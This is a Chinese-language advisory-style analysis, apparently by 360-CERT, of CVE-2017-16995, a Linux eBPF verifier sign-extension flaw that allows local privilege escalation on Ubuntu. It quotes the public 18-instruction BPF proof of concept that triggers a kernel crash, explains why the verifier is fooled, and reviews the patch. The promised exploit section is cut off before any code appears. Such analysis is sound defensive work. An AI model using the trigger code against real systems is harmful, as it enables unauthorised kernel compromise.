16995: Ubuntu本地提权分析报告

更新日期: 2018-03-21

漏洞背景

近日,360-CERT监测到编号为CVE-2017-16995的Linux内核漏洞攻击代码被发布,及时发布了预警通告并继续跟进。该漏洞最早由Google project zero披露,并公开了相关poc。2017年12月23日,相关提权代码被公布(见参考资料8),日前出现的提权代码是修改过来的版本。

BPF(Berkeley Packet Filter)是一个用于过滤(filter)网络报文(packet)的架构,其中著名的tcpdump,wireshark都使用到了它(具体介绍见参考资料2)。而eBPF就是BPF的一种扩展。然而在Linux内核实现中,存在一种绕过操作可以导致本地提权。

Poc分析技术细节 Poc概要

分析环境:

内核:v4.14-rc1

主要代码(见参考资料6):

(1 ) BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),

(2 ) BPF_MOV64_REG(BPF_REG_TMP, BPF_REG_FP), // fill r0 with pointer to map value

(3 ) BPF_ALU64_IMM(BPF_ADD, BPF_REG_TMP, -4), // allocate 4 bytes stack

(4 ) BPF_MOV32_IMM(BPF_REG_ARG2, 1),

(5 ) BPF_STX_MEM(BPF_W, BPF_REG_TMP, BPF_REG_ARG2, 0),

(6 ) BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_TMP),

(7 ) BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),

(8 ) BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),

(9 ) BPF_MOV64_REG(BPF_REG_0, 0), // prepare exit

(10) BPF_EXIT_INSN(), // exit

(11) BPF_MOV32_IMM(BPF_REG_1, 0xffffffff), // r1 = 0xffff'ffff, mistreated as 0xffff'ffff'ffff'ffff

(12) BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1), // r1 = 0x1'0000'0000, mistreated as 0

(13) BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 28), // r1 = 0x1000'0000'0000'0000, mistreated as 0

(14) BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1), // compute noncanonical pointer

(15) BPF_MOV32_IMM(BPF_REG_1, 0xdeadbeef),

(16) BPF_STX_MEM(BPF_W, BPF_REG_0, BPF_REG_1, 0), // crash by writing to noncanonical pointer

(17) BPF_MOV32_IMM(BPF_REG_0, 0), // terminate to make the verifier happy

(18) BPF_EXIT_INSN()

要理清这段代码为什么会造成崩溃,需要理解bpf程序的执行流程(见参考资料2)

enter image description here

用户提交bpf代码时,进行一次验证(模拟代码执行),而在执行的时候并不验证。

而漏洞形成的原因在于:模拟执行代码(验证的过程中)与真正执行时的差异造成的。

接下来从这两个层面分析,就容易发现问题了。

模拟执行(验证过程)分析(寄存器用uint64_t、立即数用int32_t表示)

(11) 行 : 将 0xffffffff放入BPF_REG_1寄存器中(分析代码发现进行了符号扩展 BPF_REG_1 为 0xffffffffffffffff)

(12) 行 :BPF_REG_1 = BPF_REG_1 + 1,此时由于寄存器溢出,只保留低64位(寄存器大小为64位),所以 BPF_REG_1变为0

(13) 行 : 左移,BPF_REG_1还是0

(14) 行 : 将BPF_REG_0 (map value 的地址)加 BPR_REG_1 ,BPF_REG_0,保持不变(该操作能绕过接下来的地址检查操作)

(15)、(16): 将 map value 的值改为 0xdeadbeef。(赋值时会检查 map value 地址的合法性,我们从上面分析可以得出,map value地址合法)

验证器(模拟执行)该bpf 代码,发现没什么问题,允许加载进内核。

真正执行(bpf虚拟机)分析(寄存器用uint64_t,立即数转化成uint32_t表示)

(11)行 : 将 0xffff`ffff(此时立即数会转换为uint32_t) 放入 BPF_REG_1 的低32 位,不会发生符号扩展。

(12)行 : BPF_REG_1 = BPF_REG_1 + 1 ,此时 BPF_REG_1 = 0x100000000(再次提示:运行时寄存器用 uint64_t表示)

(13)行 : 左移,BPF_REG_1 = 0x1000'0000'0000'0000

(14)行 : 将BPF_REG_0 (map value 的地址)加 BPR_REG_1 ,此时BPF_REG_0变成一个非法值

(15)、(16): 导致非法内存访问,崩溃!

以上就是Poc导致崩溃的原因。

补丁分析

enter image description here

上述是Jann Horn针对check_alu_op()函数里符号扩展问题提供的补丁。

原理是将32位有符号数在进入__mark_reg_known函数前先转化成了32位无符号数,这样就无法进行符号扩展了。 验证如下:

#include <stdio.h> #include <stdint.h> void __mark_reg_known(uint64_t imm) { uint64_t reg = 0xffffffffffffffff; if(reg != imm) printf("360-CERT\n"); } int main() { int imm = 0xffffffff; __mark_reg_known((uint32_t)imm); return 0; }

此时不会进行符号扩展,输出结果:360-CERT。

提权exp分析 实验环境

内核版本: 4.4.98

漏洞原理

造成该漏洞的根本原因是:验证时模拟执行的结果与BPF虚拟机执行时的不一致造成的。

该漏洞其实是个符号扩展漏洞,给个简单的代码描述该漏洞成因:

#include <stdio.h> #include <stdint.h> int main(void){ int imm = -1; uint64_t dst = 0xffffffff; if(dst != imm){ printf("360 cert\n"); } return 0; }

在比较时,会将 imm 进行扩展 导致 imm 为 0xffffffffffff`ffff 所以会导致输出 360 cert

技术细节

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/382bdb930d9ab6c0c728ddf1f76637ba.html